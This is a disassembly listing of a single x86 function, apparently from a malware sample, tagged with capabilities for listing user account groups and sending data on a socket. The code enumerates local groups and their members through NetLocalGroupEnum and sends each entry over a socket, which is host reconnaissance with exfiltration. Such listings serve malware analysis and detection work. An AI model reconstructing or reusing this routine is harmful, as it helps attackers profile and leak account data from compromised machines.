Function at 0x1000c18f
Capabilities:
List user account groups
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x61c
mov eax, dword [0x100ba410]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor ebx, ebx
lea eax, [ebp - 0x607]
push 0x3ff
push ebx
push eax
mov edi, ecx
mov byte [ebp - 0x608], bl
call fcn.10023400
add esp, 0xc
mov dword [ebp - 0x610], ebx
mov esi, 0xfe
mov dword [ebp - 0x614], ebx
lea eax, [ebp - 0x207]
mov byte [ebp - 0x208], bl
push esi
push ebx
push eax
call fcn.10023400
add esp, 0xc
mov byte [ebp - 0x108], bl
lea eax, [ebp - 0x107]
push esi
push ebx
push eax
call fcn.10023400
add esp, 0xc
cmp dword [0x100c1c2c], 5
jl 0x1000c217
push str.ShowLocalGroupMembers
call fcn.100144ba
pop ecx
mov ebx, dword [sym.imp.WS2_32.dll_send]
xor ecx, ecx
lea eax, [ebp - 0x614]
push ecx
push eax
lea eax, [ebp - 0x610]
mov dword [ebp - 0x60c], ecx
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x60c]
push eax
push 1
push ecx
call dword [sym.imp.NETAPI32.dll_NetLocalGroupEnum]
mov esi, eax
mov eax, dword [ebp - 0x60c]
mov dword [ebp - 0x618], eax
test esi, esi
je 0x1000c291
cmp esi, 5
je 0x1000c28a
cmp esi, 0xea
je 0x1000c283
cmp esi, 0x84b
je 0x1000c27c
cmp esi, 0x92f
jne 0x1000c29c
push str.NERR_InvalidComputer
jmp 0x1000c296
push str.NERR_BufTooSmall
jmp 0x1000c296
push str.ERROR_MORE_DATA
jmp 0x1000c296
push str.ERROR_ACCESS_DENIED
jmp 0x1000c296
push str.NERR_Success
call fcn.100144ba
pop ecx
cmp dword [0x100c1c2c], 5
jl 0x1000c2d2
push dword [ebp - 0x614]
push dword [ebp - 0x610]
push str.NetLocalGroupEnum:_dwEntriesRead___d__dwTotalEntries___d_
call fcn.100144ba
add esp, 0xc
cmp dword [0x100c1c2c], 5
jl 0x1000c2d2
push str.grabbed_list_of_groups__now_checking_members
call fcn.100144ba
pop ecx
cmp dword [ebp - 0x610], 0
je 0x1000c403
xor ecx, ecx
lea eax, [ebp - 0x208]
push ecx
push ecx
push 0xfe
push eax
mov eax, dword [ebp - 0x60c]
push 0xffffffffffffffff
push dword [eax]
push ecx
push ecx
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea eax, [ebp - 0x208]
push eax
push 0x100a94d4
push 0xffffffffffffffff
lea eax, [ebp - 0x608]
push 0x400
push eax
call fcn.1001f145
lea ecx, [ebp - 0x608]
add esp, 0x14
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000c32c
push 0
sub ecx, edx
lea eax, [ebp - 0x608]
push ecx
push eax
push edi
call ebx
xor ecx, ecx
lea eax, [ebp - 0x108]
push ecx
push ecx
push 0xfe
push eax
mov eax, dword [ebp - 0x60c]
push 0xffffffffffffffff
push dword [eax + 4]
push ecx
push ecx
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea ecx, [ebp - 0x108]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000c36e
sub ecx, edx
jne 0x1000c394
push 0xffffffffffffffff
push 0x100a94d8
lea eax, [ebp - 0x108]
push 0xff
push eax
call fcn.10021c86
add esp, 0x10
lea eax, [ebp - 0x108]
push eax
push 0x100a94d4
push 0xffffffffffffffff
lea eax, [ebp - 0x608]
push 0x400
push eax
call fcn.1001f145
lea ecx, [ebp - 0x608]
add esp, 0x14
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000c3bf
push 0
sub ecx, edx
lea eax, [ebp - 0x608]
push ecx
push eax
push edi
call ebx
mov ecx, dword [ebp - 0x60c]
mov edx, edi
mov ecx, dword [ecx]
call fcn.1001121e
push 0
push 1
push 0x1009eb84
push edi
call ebx
add dword [ebp - 0x60c], 8
dec dword [ebp - 0x610]
jne 0x1000c2df
mov eax, dword [ebp - 0x618]
test eax, eax
je 0x1000c414
push eax
call dword [sym.imp.NETAPI32.dll_NetApiBufferFree]
cmp esi, 0xea
je 0x1000c21d
cmp dword [0x100c1c2c], 5
jl 0x1000c434
push str.finished_ShowLocalGroupMembers
call fcn.100144ba
pop ecx
push 0
push 1
push 0x1009eb84
push edi
call ebx
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001e010
mov esp, ebp
pop ebp
ret